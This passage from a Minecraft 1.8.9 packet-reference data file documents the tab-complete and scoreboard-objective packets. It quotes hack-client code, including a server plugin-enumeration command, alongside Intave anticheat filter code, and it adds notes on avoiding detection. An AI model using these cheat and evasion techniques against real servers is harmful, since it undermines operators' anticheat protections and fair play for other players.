Printer.print(\"Server took too long to respond with a tab complete\");\n      listening = false;\n      return;\n    }\n\n    if (event.get() instanceof S3APacketTabComplete packet) {\n      String[] suggestions = packet.func_149630_c();\n\n      listening = false;\n\n      if (suggestions.length == 0) {\n        Printer.print(\"This server has no visible plugins\");\n        return;\n      }\n\n      Set<String> plugins = new HashSet<>();\n      for (String result : suggestions) {\n        if (result.contains(\":\")) {\n          String[] split = result.split(\":\");\n          String pluginName = split[0].replaceAll(\"\\\\s*\", \"\").replace(\"/\", \"\");\n\n          if (!pluginName.isEmpty() && !pluginName.equals(\"minecraft\")) {\n            plugins.add(pluginName);\n          }\n        } else {\n          if (\n            result.matches(PLUGIN_REGEX.pattern()) && !result.startsWith(\"/\")\n          ) {\n            plugins.add(result);\n          }\n        }\n      }\n\n      if (plugins.isEmpty()) {\n        Printer.print(\"No plugins were able to be parsed\");\n        return;\n      }\n\n      Printer.print(\"There was &9\" + plugins.size() + \"&7 found:\");\n      Printer.print(String.join(\", \", plugins));\n    }\n  };\n\n  @Override\n  public void dispatch(String[] args) throws Exception {\n    String value = \"/\";\n    if (args.length != 0) {\n      value += String.join(\" \", args);\n    }\n\n    timeoutTimer.reset();\n    listening = true;\n    mc.thePlayer.sendQueue.addToSendQueue(new C14PacketTabComplete(value));\n  }\n}\n\n\n// NOTE (AI): November Recode 2.0's command form of the same trick. The PLUGIN_REGEX fallback is the interesting part: servers that strip plugin-prefixed commands still leak bare-word names, so the command matches capital-letter tokens that do not start with '/'. The 10-second timeout and the listening flag make it a one-shot listener, and the custom seed (syntax '<custom command>') lets the user probe a specific command tree instead of only the root.\n",
      "code_source": "November Recode 2.0, feature/command/impl/PluginsCommand.java",
      "vanilla_hook": "EventPacket.In listener subscribed on the November event bus; the request goes through the player's sendQueue.",
      "anti_cheat_notes": "The custom seed can probe completion beyond the root '/', and the one-shot listen window keeps the request count at exactly one; responses are never flagged.",
      "variations": "The command form mirrors Sigma 4.11's PluginFinder. Unlike LiquidSense Dev's module and Rise 5.99's, it accepts an argument to seed completion and parses bare-word suggestions that carry no colon."
     }
    ],
    "general_hooks": "PacketReceiveEvent on every client; the request side is a raw C14 construction, and Sigma sends it through NetUtil while Rise uses PacketUtil. LiquidSense Dev and November Recode 2.0 send through addToSendQueue; November listens via its own EventPacket.In bus event.",
    "client_variations": "Rise 5.99 parses responses live and toggles off; Sigma registers and unregisters a one-shot listener; Rise 6.x keeps the matches as GUI state for Tab cycling. LiquidSense Dev auto-disables after one parse; November Recode 2.0 routes through a subscribed EventPacket.In listener with a timeout flag. None of them rely on the vanilla GuiChat path, which is exactly what the vanilla handler requires.",
    "related": [
     "C14PacketTabComplete",
     "C01PacketChatMessage",
     "S02PacketChat"
    ],
    "anticheat": {
     "overview": "S3A is the tab-completion response channel, and the flagging half of the domain runs on the request side: Grim's ChatA and CrashH and BetterAnticheat's ImpossibleCompletionCheck read the inbound WrapperPlayClientTabComplete (C14) and are documented on that packet's page. Only Intave consumes the outbound response, and both consumers are suggestion filters rather than flaggers: CommandFilter strips Intave's own commands out of the completion list and VanishFilter removes hidden players' names. The rest of the corpus is plumbing and noise: FlopAC's WrappedInTabComplete and WrappedOutTabComplete wrappers, Artemis' PacketRepository entry with the GPacketPlayServerTabComplete wrapper, Negativity's TAB_COMPLETE constants, SafeguardAC's compiled-only TabComplete check, and Bukkit TabCompleter implementations in every anticheat's own command system.",
     "checks": [
      {
       "name": "CommandFilter (Intave)",
       "found_in": [
        "intave-intave"
       ],
       "purpose": "Keeps Intave's own commands out of tab-complete responses so players without the intave.command permission cannot discover them by pressing Tab.",
       "how_it_works": "Subscribes to TAB_COMPLETE_OUT (S3A) and reads the response's string array. For players without the intave.command permission it rebuilds the array, dropping every suggestion that contains /intave or /iac, and writes the filtered array back into the packet only when something was removed. The same filter's inbound method rewrites /iac and /intave chat and tab-complete requests into a forwarder command; that half runs on C14 and is documented on that page.",
       "detects": "Leakage of Intave's commands through tab completion; it also hides the anticheat's presence from players probing with Tab.",
       "detailed_code": "// ===== FILE: intave-intave, src/main/java/de/jpx3/intave/module/filter/CommandFilter.java =====\npackage de.jpx3.intave.module.filter;\n\nimport com.comphenix.protocol.events.PacketContainer;\nimport com.comphenix.protocol.events.PacketEvent;\nimport com.google.common.collect.Lists;\nimport de.jpx3.intave.IntavePlugin;\nimport de.jpx3.intave.module.linker.packet.PacketSubscription;\nimport de.jpx3.intave.user.permission.BukkitPermissionCheck;\nimport org.bukkit.configuration.ConfigurationSection;\nimport org.bukkit.entity.Player;\n\nimport java.util.Arrays;\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\n\nimport static de.jpx3.intave.module.linker.packet.PacketId.Client.CHAT_IN;\nimport static de.jpx3.intave.module.linker.packet.PacketId.Client.TAB_COMPLETE_IN;\nimport static de.jpx3.intave.module.linker.packet.PacketId.Server.TAB_COMPLETE_OUT;\n\npublic final class CommandFilter extends Filter {\n  private final boolean separateEnable;\n  private final boolean disabled;\n  private final Map<String, String> redirects = new HashMap<>();\n\n  public CommandFilter(IntavePlugin plugin) {\n    super(\"command\");\n    separateEnable = plugin.settings().getBoolean(\"command.hide\", true);\n    disabled = plugin.settings().getBoolean(\"command.fix-tab-kicks\", false);\n\n    ConfigurationSection reroute = plugin.settings().getConfigurationSection(\"command.reroute\");\n    if (reroute != null) {\n      reroute.getKeys(false).forEach(key -> redirects.put(key, plugin.settings().getString(\"command.reroute.\" + key)));\n    }\n  }\n\n  @PacketSubscription(\n    packetsIn = {\n      CHAT_IN, TAB_COMPLETE_IN\n    }\n  )\n  public void receiveChatPacket(PacketEvent event) {\n    Player player = event.getPlayer();\n    String message = event.getPacket().getStrings().getValues().get(0);\n\n    String trimmedMessage = message.trim().toLowerCase();\n\n    for (Map.Entry<String, String> stringStringEntry : redirects.entrySet()) {\n      if (trimmedMessage.startsWith(stringStringEntry.getKey())) {\n        // remove the command and replace it with the redirect without regex\n        String redirect = stringStringEntry.getValue();\n        if (redirect.toLowerCase().contains(\"root\")) {\n          continue;\n        }\n        trimmedMessage = redirect + trimmedMessage.substring(stringStringEntry.getKey().length());\n        event.getPacket().getStrings().writeSafely(0, trimmedMessage);\n        trimmedMessage = trimmedMessage.trim().toLowerCase();\n      }\n    }\n\n    boolean permitted = BukkitPermissionCheck.permissionCheck(player, \"intave.command\");\n    if ((trimmedMessage.startsWith(\"/iac\") || trimmedMessage.startsWith(\"/intave\")) && !permitted) {\n      event.getPacket().getStrings().writeSafely(0, \"/intavecommandforward\");\n    }\n  }\n\n//  @PacketSubscription(\n////    engine = Engine.ASYNC_INTERNAL,\n//    packetsOut = {\n//      COMMANDS\n//    }\n//  )\n//  public void receiveCommands(PacketEvent event) {\n//    Player player = event.getPlayer();\n//    PacketContainer packet = event.getPacket();\n//    StructureModifier<RootCommandNode> rootModifier = packet.getSpecificModifier(RootCommandNode.class);\n//    RootCommandNode<?> rootCommandNode = rootModifier.readSafely(0);\n////    player.sendMessage(\"Removing \" + rootCommandNode.getChildren());\n////    for (CommandNode<?> child : rootCommandNode.getChildren()) {\n////      System.out.println(child.getName() + \" -> \" + child.getUsageText());\n////    }\n//    rootCommandNode.removeCommand(\"iac\");\n//    rootCommandNode.removeCommand(\"intave:iac\");\n//    rootCommandNode.removeCommand(\"intave\");\n//    rootCommandNode.removeCommand(\"intave:intave\");\n////    rootModifier.write(0, new RootCommandNode());\n//    rootModifier.write(0, rootCommandNode);\n//  }\n\n  @PacketSubscription(\n//    engine = Engine.ASYNC_INTERNAL,\n    packetsOut = {\n      TAB_COMPLETE_OUT\n    }\n  )\n  public void receiveTabComplete(PacketEvent event) {\n    Player player = event.getPlayer();\n    PacketContainer packet = event.getPacket();\n    boolean permitted = BukkitPermissionCheck.permissionCheck(player, \"intave.command\");\n    if (permitted) {\n      return;\n    }\n    String[] stuff = packet.getStringArrays().readSafely(0);\n    if (stuff != null) {\n      List<String> newTabCompletions = Lists.newArrayList();\n      Arrays.stream(stuff).filter(string -> !string.contains(\"/intave\") && !string.contains(\"/iac\")).forEach(newTabCompletions::add);\n      if (newTabCompletions.size() != stuff.length) {\n        packet.getStringArrays().writeSafely(0, newTabCompletions.toArray(new String[0]));\n      }\n    }\n  }\n\n  @Override\n  protected boolean enabled() {\n    return (super.enabled() || separateEnable) && !disabled;\n  }\n}\n// NOTE (AI): The S3A-relevant branch is receiveTabComplete (lines 90-111), a TAB_COMPLETE_OUT subscription that filters the response's string array. The receiveChatPacket method above it is the C14 request-side half of the same filter and is documented on the C14 page.",
       "code_source": "intave-intave, src/main/java/de/jpx3/intave/module/filter/CommandFilter.java",
       "variations": "The only anticheat that rewrites outbound tab-complete suggestions. VanishFilter is the sibling filter in the same module that strips hidden player names instead of commands."
      },
      {
       "name": "VanishFilter (Intave)",
       "found_in": [
        "intave-intave"
       ],
       "purpose": "Removes hidden players from tab-complete responses so vanished staff do not leak through name completion.",
       "how_it_works": "Subscribes to TAB_COMPLETE_OUT (S3A) at MONITOR priority, reads the response's string array, and rebuilds it without the names of online players whose UUIDs are not in the viewer's shownPlayers set. The set is maintained by the same filter's PLAYER_INFO (S38) handler, which hides and shuffles the viewer's tab list.",
       "detects": "Vanished players exposed by tab completion; the filter is a privacy measure for staff, not a cheat flag.",
       "detailed_code": "// ===== FILE: intave-intave, src/main/java/de/jpx3/intave/module/filter/VanishFilter.java =====\npackage de.jpx3.intave.module.filter;\n\nimport com.comphenix.protocol.events.PacketContainer;\nimport com.comphenix.protocol.events.PacketEvent;\nimport com.comphenix.protocol.wrappers.EnumWrappers;\nimport com.comphenix.protocol.wrappers.PlayerInfoData;\nimport com.comphenix.protocol.wrappers.WrappedGameProfile;\nimport com.google.common.collect.Lists;\nimport de.jpx3.intave.IntavePlugin;\nimport de.jpx3.intave.executor.Synchronizer;\nimport de.jpx3.intave.module.linker.packet.ListenerPriority;\nimport de.jpx3.intave.module.linker.packet.PacketSubscription;\nimport de.jpx3.intave.module.linker.packet.PrioritySlot;\nimport de.jpx3.intave.packet.reader.PacketReaders;\nimport de.jpx3.intave.packet.reader.PlayerInfoReader;\nimport de.jpx3.intave.packet.reader.PlayerInfoRemoveReader;\nimport de.jpx3.intave.user.User;\nimport de.jpx3.intave.user.UserRepository;\nimport de.jpx3.intave.user.meta.ProtocolMetadata;\nimport org.bukkit.Bukkit;\nimport org.bukkit.entity.Player;\n\nimport java.util.*;\nimport java.util.concurrent.ThreadLocalRandom;\nimport java.util.stream.Collectors;\n\nimport static com.comphenix.protocol.wrappers.EnumWrappers.NativeGameMode.SURVIVAL;\nimport static de.jpx3.intave.module.linker.packet.PacketId.Server.*;\n\npublic final class VanishFilter extends Filter {\n  private final boolean disabled;\n  private boolean yukiJoined = false;\n  private long lastYukiJoin = 0;\n\n  public VanishFilter(IntavePlugin plugin) {\n    super(\"vanish\");\n    disabled = plugin.settings().getBoolean(\"command.fix-tab-kicks\", false);\n\n    int taskId = Bukkit.getScheduler().scheduleAsyncRepeatingTask(plugin, () -> {\n\n      if (yukiJoined) {\n        // 25% chance that yuki will leave\n        if (ThreadLocalRandom.current().nextInt(1, 100) <= 25) {\n          Synchronizer.synchronizeDelayed(() -> {\n            yukiJoined = false;\n          }, 20 * ThreadLocalRandom.current().nextInt(60, 120));\n        }\n      } else {\n        int hourOfDay = Calendar.getInstance().get(Calendar.HOUR_OF_DAY);\n        boolean primeTime = hourOfDay >= 22 || hourOfDay <= 3;\n        int chance = primeTime ? 10 : 2;\n        if (ThreadLocalRandom.current().nextInt(1, 100) <= chance) {\n          Synchronizer.synchronizeDelayed(() -> {\n            yukiJoined = true;\n            FAKE_DATA = new PlayerInfoData(\n              new WrappedGameProfile(\n                UUID.fromString(\"3ad99947-352f-4719-be96-9bfccc36ae71\"),\n                \"funkeln\"\n              ),\n              ThreadLocalRandom.current().nextInt(1, 100),\n              SURVIVAL,\n              null\n            );\n            lastYukiJoin = System.currentTimeMillis();\n          }, 20 * ThreadLocalRandom.current().nextInt(60, 120));\n        }\n      }\n      // every 15 minutes\n    }, 20 * 60 * 15, 20 * 60 * 15);\n  }\n\n  private static PlayerInfoData FAKE_DATA = new PlayerInfoData(\n    new WrappedGameProfile(\n      UUID.fromString(\"3ad99947-352f-4719-be96-9bfccc36ae71\"),\n      \"funkeln\"\n    ),\n    ThreadLocalRandom.current().nextInt(1, 100),\n    SURVIVAL,\n    null\n  );\n\n  @PacketSubscription(\n    packetsOut = {PLAYER_INFO}\n  )\n  public void on(PacketEvent event) {\n    Player player = event.getPlayer();\n    PacketContainer packet = event.getPacket();\n//    System.out.println(\"Player info packet: \" + packet);\n\n    User user = UserRepository.userOf(player);\n    ProtocolMetadata protocol = user.meta().protocol();\n    Set<UUID> shownPlayers = protocol.shownPlayers;\n\n    PlayerInfoReader reader = PacketReaders.readerOf(packet);\n    Set<EnumWrappers.PlayerInfoAction> actions = reader.playerInfoActions();\n    List<PlayerInfoData> playerInfos = reader.playerInfoData();\n\n    for (EnumWrappers.PlayerInfoAction action : actions) {\n      switch (action) {\n        case ADD_PLAYER:\n          playerInfos.forEach(data -> {\n            UUID uuid = data.getProfile().getUUID();\n            if (shownPlayers.contains(uuid)) {\n              return;\n            }\n//            Synchronizer.synchronize(() -> {\n//              player.sendMessage(\"Showing \" + data.getProfile().getName() + \" to you.\");\n//            });\n//            System.out.println(\"Showing \" + data.getProfile().getName() + \" to you.\");\n            shownPlayers.add(uuid);\n          });\n          break;\n        case UPDATE_GAME_MODE:\n        case UPDATE_LATENCY:\n          playerInfos.removeIf(playerInfo -> {\n            UUID infoId = playerInfo.getProfile().getUUID();\n            boolean toBeRemoved = !shownPlayers.contains(infoId);\n            if (toBeRemoved) {\n//              System.out.println(\"Hiding \" + playerInfo.getProfile().getName() + \" from \" + player.getName());\n            }\n            return toBeRemoved;\n          });\n          break;\n        case REMOVE_PLAYER:\n          playerInfos.removeIf(playerInfoData -> {\n            UUID uuid = playerInfoData.getProfile().getUUID();\n            boolean wasVisible = shownPlayers.remove(uuid);\n//            System.out.println(\"Hiding \" + playerInfoData.getProfile().getName() + \" from you (was visible: \"+wasVisible +\")\");\n//            Synchronizer.synchronize(() -> {\n//              player.sendMessage(\"Hiding \" + playerInfoData.getProfile().getName() + \" from you (was visible: \"+wasVisible +\")\");\n//            });\n            return !wasVisible;\n          });\n          break;\n      }\n    }\n\n    if (playerInfos.isEmpty()) {\n      event.setCancelled(true);\n//      System.out.println(\"Cancelled empty player info packet\");\n    }\n\n    Collections.shuffle(playerInfos);\n//    lists.write(0, playerInfos);\n    reader.writePlayerInfoData(playerInfos);\n    reader.release();\n  }\n\n  @PacketSubscription(\n//    engine = Engine.ASYNC_INTERNAL,\n    prioritySlot = PrioritySlot.EXTERNAL,\n    priority = ListenerPriority.MONITOR,\n    packetsOut = {\n      TAB_COMPLETE_OUT\n    }\n  )\n  public void receiveTabComplete(PacketEvent event) {\n    Player player = event.getPlayer();\n    User user = UserRepository.userOf(player);\n    ProtocolMetadata protocol = user.meta().protocol();\n    Set<UUID> shownPlayers = protocol.shownPlayers;\n\n    PacketContainer packet = event.getPacket();\n    String[] stuff = packet.getStringArrays().readSafely(0);\n    if (stuff != null) {\n      List<String> playerNames = Bukkit.getOnlinePlayers().stream()\n        .map(Player::getName).collect(Collectors.toList());\n      List<String> hiddenPlayers = Lists.newArrayList();\n      for (String name : playerNames) {\n        Player target = Bukkit.getPlayerExact(name);\n        if (target == null) {\n          continue;\n        }\n        if (!shownPlayers.contains(target.getUniqueId())) {\n          hiddenPlayers.add(name);\n        }\n      }\n      List<String> newTabCompletions = Lists.newArrayList();\n      Arrays.stream(stuff).filter(string -> !hiddenPlayers.contains(string)).forEach(newTabCompletions::add);\n      if (newTabCompletions.size() != stuff.length) {\n        packet.getStringArrays().writeSafely(0, newTabCompletions.toArray(new String[0]));\n//        Synchronizer.synchronize(() -> {\n//          player.sendMessage(\"Removed \" + (stuff.length - newTabCompletions.size()) + \" hidden players from tab complete\");\n//        });\n      }\n//      Synchronizer.synchronize(() -> {\n//        player.sendMessage(\"Tab: \" + Arrays.toString(stuff) + \" -> \" + newTabCompletions);\n//      });\n    }\n  }\n\n//  @PacketSubscription(\n//    packetsOut = {\n//      SCOREBOARD_TEAM\n//    }\n//  )\n//  public void onTeam(PacketEvent event) {\n//    Player player = event.getPlayer();\n//    PacketContainer packet = event.getPacket();\n//    User user = UserRepository.userOf(player);\n//    ProtocolMetadata protocol = user.meta().protocol();\n//    Set<UUID> shownPlayers = protocol.shownPlayers;\n//    String teamName = packet.getStrings().readSafely(0);\n//    shownPlayers.removeIf(uuid -> teamName.contains(Bukkit.getPlayer(uuid).getName()));\n//  }\n\n  @PacketSubscription(\n    packetsOut = {\n      PLAYER_INFO_REMOVE\n    }\n  )\n  public void onRemoval(PacketEvent event) {\n    Player player = event.getPlayer();\n    PacketContainer packet = event.getPacket();\n    User user = UserRepository.userOf(player);\n    ProtocolMetadata protocol = user.meta().protocol();\n    Set<UUID> shownPlayers = protocol.shownPlayers;\n    PlayerInfoRemoveReader reader = PacketReaders.readerOf(packet);\n    List<UUID> uuids = reader.playersToRemove();\n    uuids.removeIf(uuid -> !shownPlayers.contains(uuid));\n    reader.release();\n  }\n\n  @Override\n  protected boolean enabled() {\n    return !disabled && super.enabled();\n  }\n}\n// NOTE (AI): The S3A-relevant branch is receiveTabComplete (lines 149-190), a TAB_COMPLETE_OUT subscription that filters the response's string array by the viewer's shownPlayers set. The earlier PLAYER_INFO handler maintains that set.",
       "code_source": "intave-intave, src/main/java/de/jpx3/intave/module/filter/VanishFilter.java",
       "variations": "CommandFilter is the sibling filter that strips command suggestions; both run on TAB_COMPLETE_OUT."
      }
     ]
    }
   },
   "wiki_notes": [
    "Reply to C14 TabComplete: VarInt count then that many completion strings (commands and player names).",
    "On Bukkit servers plugin commands leak as colon-prefixed entries, so one C14 '/' request enumerates server plugins.",
    "MCP 1.8.9 S3APacketTabComplete implements Packet<INetHandlerPlayClient> dispatching to INetHandlerPlayClient.handleTabComplete; wire serde is readPacketData/writePacketData via readStringFromBuffer, readVarIntFromBuffer.",
    "1.8.9 callers: NetHandlerPlayServer.processTabComplete sends new S3APacketTabComplete (line 1225): https://github.com/Marcelektro/MavenMCP-1.8.9/blob/master/src/main/java/net/minecraft/network/NetHandlerPlayServer.java"
   ],
   "url": "https://mc-packet-reference.netlify.app/1.8.9/packets/S3APacketTabComplete/",
   "mcp_path": "net/minecraft/network/play/server/S3APacketTabComplete.java",
   "group": "play-client",
   "logic_classes": [
    "NetHandlerPlayServer"
   ]
  },
  {
   "id": "S3BPacketScoreboardObjective",
   "hex": "0x3B",
   "dec": 59,
   "dir": "CLIENTBOUND",
   "state": "PLAY",
   "name": "Scoreboard Objective",
   "desc": "Creates or removes a scoreboard objective (the scoreboard itself, not individual scores).",
   "tags": [
    "scoreboard",
    "player"
   ],
   "fields": [
    {
     "name": "name",
     "type": "String",
     "desc": "Objective internal name"
    },
    {
     "name": "value",
     "type": "String",
     "desc": "Objective display text (JSON, for create/update)"
    },
    {
     "name": "action",
     "type": "byte",
     "desc": "0=CREATE, 1=REMOVE, 2=UPDATE"
    },
    {
     "name": "type",
     "type": "String",
     "desc": "integer or hearts (for create)"
    }
   ],
   "encoding": [
    [
     "Objective Name",
     "String",
     ""
    ],
    [
     "Mode",
     "byte",
     "0=create, 1=remove, 2=update"
    ],
    [
     "Objective Value",
     "String",
     "Display text (Chat Component)"
    ],
    [
     "Type",
     "String",
     "integer or hearts"
    ]
   ],
   "mcp": [
    "NetHandlerPlayClient.handleScoreboardObjective()"
   ],
   "handler": "INetHandlerPlayClient",
   "implementation": {
    "writeup": [
     {
      "h": "Role in the protocol",
      "p": "The scoreboard objective lifecycle packet. A byte action drives it: 0 creates an objective, 1 removes it, 2 updates its display name and render type. Wire fields are the objective name (16-char cap), the action byte, then conditionally for actions 0 and 2 the display name (32-char cap) and the render type string ('integer' or 'hearts'). Objectives are containers; the visible rows arrive separately via S3CPacketUpdateScore and the display slot binding via S3DPacketDisplayScoreboard. ServerScoreboard broadcasts S3B to all players on objective creation, removal, and display-name change."
     },
     {
      "h": "Vanilla handling",
      "p": "NetHandlerPlayClient.handleScoreboardObjective creates a ScoreObjective with the DUMMY criteria on action 0, sets display name and render type, removes the objective on action 1, and applies display name and render type on action 2. The client scoreboard is the only consumer: the HUD sidebar renders whatever objective the S3D binding points at, populated by S3C rows. Because S3B never carries row data, cancelling it produces an objective-less board, not a blank one."
     },
     {
      "h": "Why clients touch it",
      "p": "The landscape is thin across the 8 clients. Spicy's HideName imports the class but its EventPacket handler never branches on it: the import is dead weight from a name-hiding feature that actually rewrites S3C rows. Rise 6.1.30 and 6.2.4 register the class in the script API NetworkAPI table so JavaScript scripts can construct or match it. No client cancels S3B. The scoreboard-blocking modules that exist in the wider ecosystem (Gugustus Scoreboard, AntiScoreboard) sit outside this corpus, so none of the 8 reference clients carries an objective-blocker."
     },
     {
      "h": "Exploit surface",
      "p": "Cancelling S3B is client-visual only. Blocking action 0 leaves rows orphaned, which renders as a sidebar with no header; blocking action 1 freezes a stale objective. The server never learns, because S3B is one-way clientbound and the server does not track which objectives a client holds. Anti-cheats in the corpus never measure scoreboard packets: they carry display strings and no timing or movement state. The only abuse value is a clean HUD, and none of the 8 clients bothers."
     }
    ],
    "overview": "The objective lifecycle packet. Across the 8 reference clients it is only an import (Spicy HideName) and a script API registration (Rise 6.x). Nobody cancels or mutates it, because the visible rows travel in S3C and the slot binding in S3D.",
    "server_handling": "ServerScoreboard emits S3B on objective creation (action 0), removal (action 1), and display name or render type updates (action 2), fanned out with sendPacketToAllPlayers. The server never reads S3B back; the packet is strictly clientbound in PLAY state, registered in EnumConnectionState alongside the rest of the scoreboard family. There is no client-to-server scoreboard acknowledgement in the protocol.",
    "protocol_notes": "readPacketData reads the objective name with a 16-char cap, then the action byte, then only for actions 0 and 2 the 32-char display name and the render type string, mapped through EnumRenderType.func_178795_a. writePacketData mirrors this, so a create packet missing the trailing fields desyncs the stream. Action 1 sends name plus action byte only.",
    "anticheat_landscape": "No anti-cheat in the corpus inspects S3B. It carries display strings only, no timing, position, or movement content. The only measurable effect of tampering is client-side rendering, which server-side anti-cheat cannot observe. Any module touching it is doing cosmetic work with zero detection risk.",
    "modules": [
     {
      "name": "HideName",
      "found_in": [
       "Spicy"
      ],
      "purpose": "Hide the player's real username from server-rendered name surfaces. For this packet the class is only imported; the shipped onEvent branches on S02PacketChat and S3CPacketUpdateScore, never on S3BPacketScoreboardObjective.",
      "how_it_works": "Imports S3BPacketScoreboardObjective at the top of the module file. The EventPacket pre handler has no S3B branch; the module's real work sits in the S3C branch, which rewrites score names to a chosen alias. The S3B import is a leftover from the same name-hiding feature.",
      "detailed_code": "// ===== FILE: Spicy, info/spicyclient/modules/player/HideName.java =====\npackage info.spicyclient.modules.player;\n\nimport org.lwjgl.input.Keyboard;\n\nimport info.spicyclient.SpicyClient;\nimport info.spicyclient.events.Event;\nimport info.spicyclient.events.listeners.EventPacket;\nimport info.spicyclient.events.listeners.EventUpdate;\nimport info.spicyclient.modules.Module;\nimport info.spicyclient.settings.ModeSetting;\nimport info.spicyclient.settings.SettingChangeEvent;\nimport net.minecraft.network.play.server.S02PacketChat;\nimport net.minecraft.network.play.server.S3BPacketScoreboardObjective;\nimport net.minecraft.network.play.server.S3CPacketUpdateScore;\nimport net.minecraft.network.play.server.S3DPacketDisplayScoreboard;\nimport net.minecraft.util.ChatComponentText;\n\npublic class HideName extends Module {\n\t\n\tpublic ModeSetting mode = new ModeSetting(\"Name\", \"You\", \"You\", \"MooshroomMashUp\", \"Fox_of_floof\", \"lavaflowglow\", \"_Floofy_Fox_\");\n\t\n\tpublic HideName() {\n\t\tsuper(\"HideName\", Keyboard.KEY_NONE, Category.PLAYER);\n\t\tresetSettings();\n\t}\n\t\n\t@Override\n\tpublic void resetSettings() {\n\t\tthis.settings.clear();\n\t\tthis.addSettings(mode);\n\t}\n\t\n\t@Override\n\tpublic void onEvent(Event e) {\n\t\t\n\t\tif (e instanceof EventUpdate && e.isPre()) {\n\t\t\tthis.additionalInformation = mode.getMode();\n\t\t}\n\t\t\n\t\tif (e instanceof EventPacket && e.isPre()) {\n\t\t\t\n\t\t\tEventPacket packetEvent = (EventPacket) e;\n\t\t\tif (packetEvent.packet instanceof S02PacketChat) {\n\t\t\t\t\n\t\t\t\tS02PacketChat packet = (S02PacketChat) packetEvent.packet;\n\t\t\t\t\n\t\t\t\tif (packet.getChatComponent().getUnformattedText().replaceAll(\"׼\", \"\").contains(mc.getSession().getUsername())) {\n\t\t\t\t\tpacket.chatComponent = new ChatComponentText(packet.getChatComponent().getFormattedText().replaceAll(\"׼\", \"\").replaceAll(mc.getSession().getUsername(), mode.getMode()));\n\t\t\t\t}\n\t\t\t\t\n\t\t\t}\n\t\t\telse if (packetEvent.packet instanceof S3CPacketUpdateScore) {\n\t\t\t\tS3CPacketUpdateScore packet = (S3CPacketUpdateScore) packetEvent.packet;\n\t\t\t\t\n\t\t\t\tif (packet.getObjectiveName().replaceAll(\"׼\", \"\").contains(mc.getSession().getUsername())){\n\t\t\t\t\tpacket.setObjective(packet.getObjectiveName().replaceAll(\"׼\", \"\").replaceAll(mc.getSession().getUsername(), mode.getMode()));\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tif (packet.getName().replaceAll(\"׼\", \"\").contains(mc.getSession().getUsername())){\n\t\t\t\t\tpacket.setName(packet.getName().replaceAll(\"׼\", \"\").replaceAll(mc.getSession().getUsername(), mode.getMode()));\n\t\t\t\t}\n\t\t\t\t\n\t\t\t}\n\t\t\t\n\t\t}\n\t\t\n\t}\n\t\n}\n// NOTE (AI): The S3BPacketScoreboardObjective import on line 13 is never referenced by the handler. The module's live packet logic is the S3CPacketUpdateScore branch on lines 52-63, which rewrites score rows to hide the session username.",
      "code_source": "Spicy, info/spicyclient/modules/player/HideName.java",
      "vanilla_hook": "EventPacket (pre phase).",
      "anti_cheat_notes": "None. A dead import carries no detection risk and no packet is mutated for this packet class.",
      "variations": "None. The same file is the corpus hit for S3CPacketUpdateScore and S3DPacketDisplayScoreboard; the S3C branch is where the alias logic actually runs."
     },
     {
      "name": "NetworkAPI (script API)",
      "found_in": [
       "Rise 6.1.30",
       "Rise 6.2.4"
      ],
      "purpose": "Expose the packet class to Rise's JavaScript scripting API so scripts can construct, read, or match it from the clientbound table.",
      "how_it_works": "NetworkAPI.java holds a static Class array of clientbound packets that includes S3BPacketScoreboardObjective. The API maps packet ids to classes for script-side instantiation and inspection; it is an API surface, not a runtime module.",
      "detailed_code": "// ===== FILE: Rise 6.1.30, com/alan/clients/script/api/NetworkAPI.java =====\npackage com.alan.clients.script.api;\n\nimport com.alan.clients.util.chat.ChatUtil;\nimport lombok.SneakyThrows;\nimport net.minecraft.network.EnumPacketDirection;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.play.INetHandlerPlayClient;\nimport net.minecraft.network.play.INetHandlerPlayServer;\nimport net.minecraft.network.play.client.*;\nimport net.minecraft.network.play.server.*;\n\nimport javax.script.ScriptException;\nimport java.util.Arrays;\n\npublic class NetworkAPI extends API {\n\n    public final static Class<Packet<INetHandlerPlayServer>>[] serverbound = new Class[]{\n            C00PacketKeepAlive.class,\n            C01PacketChatMessage.class,\n            C02PacketUseEntity.class,\n            C03PacketPlayer.class,\n            C03PacketPlayer.C04PacketPlayerPosition.class,\n            C03PacketPlayer.C05PacketPlayerLook.class,\n            C03PacketPlayer.C06PacketPlayerPosLook.class,\n            C07PacketPlayerDigging.class,\n            C08PacketPlayerBlockPlacement.class,\n            C09PacketHeldItemChange.class,\n            C0APacketAnimation.class,\n            C0BPacketEntityAction.class,\n            C0CPacketInput.class,\n            C0DPacketCloseWindow.class,\n            C0EPacketClickWindow.class,\n            C0FPacketConfirmTransaction.class,\n            C10PacketCreativeInventoryAction.class,\n            C11PacketEnchantItem.class,\n            C12PacketUpdateSign.class,\n            C13PacketPlayerAbilities.class,\n            C14PacketTabComplete.class,\n            C15PacketClientSettings.class,\n            C16PacketClientStatus.class,\n            C17PacketCustomPayload.class,\n            C18PacketSpectate.class,\n            C19PacketResourcePackStatus.class,\n    };\n    public final static Class<Packet<INetHandlerPlayClient>>[] clientbound = new Class[]{\n            S00PacketKeepAlive.class,\n            S01PacketJoinGame.class,\n            S02PacketChat.class,\n            S03PacketTimeUpdate.class,\n            S04PacketEntityEquipment.class,\n            S05PacketSpawnPosition.class,\n            S06PacketUpdateHealth.class,\n            S07PacketRespawn.class,\n            S08PacketPlayerPosLook.class,\n            S09PacketHeldItemChange.class,\n            S0APacketUseBed.class,\n            S0BPacketAnimation.class,\n            S0CPacketSpawnPlayer.class,\n            S0DPacketCollectItem.class,\n            S0EPacketSpawnObject.class,\n            S0FPacketSpawnMob.class,\n            S10PacketSpawnPainting.class,\n            S11PacketSpawnExperienceOrb.class,\n            S12PacketEntityVelocity.class,\n            S13PacketDestroyEntities.class,\n            S14PacketEntity.class,\n            S18PacketEntityTeleport.class,\n            S19PacketEntityHeadLook.class,\n            S19PacketEntityStatus.class,\n            S1BPacketEntityAttach.class,\n            S1CPacketEntityMetadata.class,\n            S1DPacketEntityEffect.class,\n            S1EPacketRemoveEntityEffect.class,\n            S1FPacketSetExperience.class,\n            S20PacketEntityProperties.class,\n            S21PacketChunkData.class,\n            S22PacketMultiBlockChange.class,\n            S23PacketBlockChange.class,\n            S24PacketBlockAction.class,\n            S25PacketBlockBreakAnim.class,\n            S26PacketMapChunkBulk.class,\n            S27PacketExplosion.class,\n            S28PacketEffect.class,\n            S29PacketSoundEffect.class,\n            S2APacketParticles.class,\n            S2BPacketChangeGameState.class,\n            S2CPacketSpawnGlobalEntity.class,\n            